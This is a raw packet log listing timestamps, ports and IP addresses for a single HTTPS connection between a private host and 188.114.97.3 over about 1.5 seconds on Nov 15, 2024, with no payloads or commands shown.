Nov 15, 2024 01:01:24.995608091 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.995619059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.995650053 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.995733023 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.996264935 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.996304989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.996342897 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.996351957 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:24.996381998 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:24.996958017 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.000353098 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.000499010 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.000520945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.151484013 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.208838940 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.208870888 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.208905935 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.208926916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.208952904 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.208961010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.208976030 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.208981037 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.208997011 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209001064 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209017992 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209036112 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209064960 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209111929 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209206104 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209225893 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209255934 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209274054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209275007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209297895 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209326982 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209346056 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209405899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209449053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209474087 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209482908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209497929 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209518909 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209783077 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209832907 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209856033 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209865093 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.209877968 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.209906101 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.210300922 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.210366011 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.210398912 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.210434914 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.210462093 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.210474014 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.212934971 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.435452938 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.435487032 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.435534954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.435537100 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.435569048 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.435580969 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.435604095 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.435616970 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.435703039 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.435759068 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.435766935 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.435844898 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.435887098 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.435899973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.435918093 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.435946941 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.436399937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.436440945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.436460018 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.436474085 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.436502934 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.436933994 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.436973095 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.436985016 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.436996937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.437011957 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.437025070 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.437340021 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.437380075 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.437397957 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.437408924 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.437447071 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.437736988 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.437774897 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.437802076 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.437810898 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.437828064 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.439985037 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.666342974 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.666378021 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.666421890 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.666440964 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.666456938 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.666485071 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.666775942 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.666798115 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.666826010 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.666832924 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.666857004 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.666882038 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.667150974 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.667174101 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.667217016 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.667223930 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.667243958 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.667253971 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.667535067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.667557955 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.667586088 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.667593956 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.667619944 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.667634964 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.668011904 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.668039083 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.668076992 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.668086052 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.668108940 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.668128967 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.668404102 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.668426991 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.668459892 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.668467999 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.668498039 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.668508053 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.669073105 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.669094086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.669131994 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.669140100 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.669159889 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.669172049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.669318914 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.669370890 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.669377089 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.669390917 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.669420958 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.685996056 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.932838917 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.932899952 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.932929993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.932939053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.932952881 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.932976007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933067083 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933108091 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933128119 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933135986 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933151960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933173895 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933248997 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933290005 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933305979 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933316946 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933334112 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933346033 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933449030 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933490038 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933500051 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933518887 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933538914 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933554888 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933639050 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933680058 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933691978 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933701038 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933727026 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933737993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933825016 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933871031 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.933954000 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.933993101 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934007883 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934015989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934036016 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934046030 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934144020 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934182882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934201956 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934209108 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934221983 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934248924 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934313059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934355021 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934370041 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934381962 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934398890 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934408903 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934453964 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934470892 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934478045 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934506893 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934505939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934528112 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934537888 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934551954 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934612036 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934613943 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.934636116 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:25.934837103 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:25.939323902 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.118254900 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.118285894 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.118329048 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.118347883 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.118372917 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.118386984 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122273922 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122294903 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122332096 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122345924 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122396946 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122399092 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122427940 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122466087 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122474909 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122499943 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122531891 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122550011 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122572899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122608900 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122616053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122629881 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122683048 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122752905 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122780085 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122834921 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122834921 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122847080 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122934103 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.122960091 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.122977972 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123003960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123011112 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123029947 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123045921 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123146057 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123166084 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123192072 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123198986 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123213053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123238087 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123253107 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123259068 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123326063 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123337030 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123349905 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123368979 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123394012 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123400927 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123425007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123440027 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123495102 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123522997 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123548985 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123555899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123580933 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123596907 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123653889 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123688936 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123719931 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123728037 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123735905 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.123752117 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.123780012 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.143189907 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.349478006 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.349529982 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.349556923 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.349569082 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.349605083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.349620104 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.349734068 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.349773884 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.349785089 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.349803925 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.349822044 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.349837065 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.350146055 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.350184917 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.350197077 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.350205898 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.350228071 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.350243092 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.350595951 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.350635052 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.350653887 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.350661039 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.350675106 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.350686073 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.350699902 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.350912094 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.350950003 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.350961924 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.350969076 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.350991011 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.351003885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.351481915 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.351527929 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.351542950 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.351552010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.351572990 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.351588011 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.351733923 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.351773024 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.351788044 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.351794958 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.351807117 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.351839066 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.351953030 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.351993084 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.352008104 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.352014065 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.352047920 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.352471113 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.352514029 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.352530956 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.352539062 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.352561951 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.352569103 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.353116989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.353154898 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.353179932 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.353185892 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.353214979 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.353220940 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.353789091 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.353827953 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.353847980 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.353853941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.353873014 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.353884935 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.353925943 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.353966951 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.353974104 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:26.353990078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:26.354013920 CET	49868	443	192.168.2.5	188.114.97.3
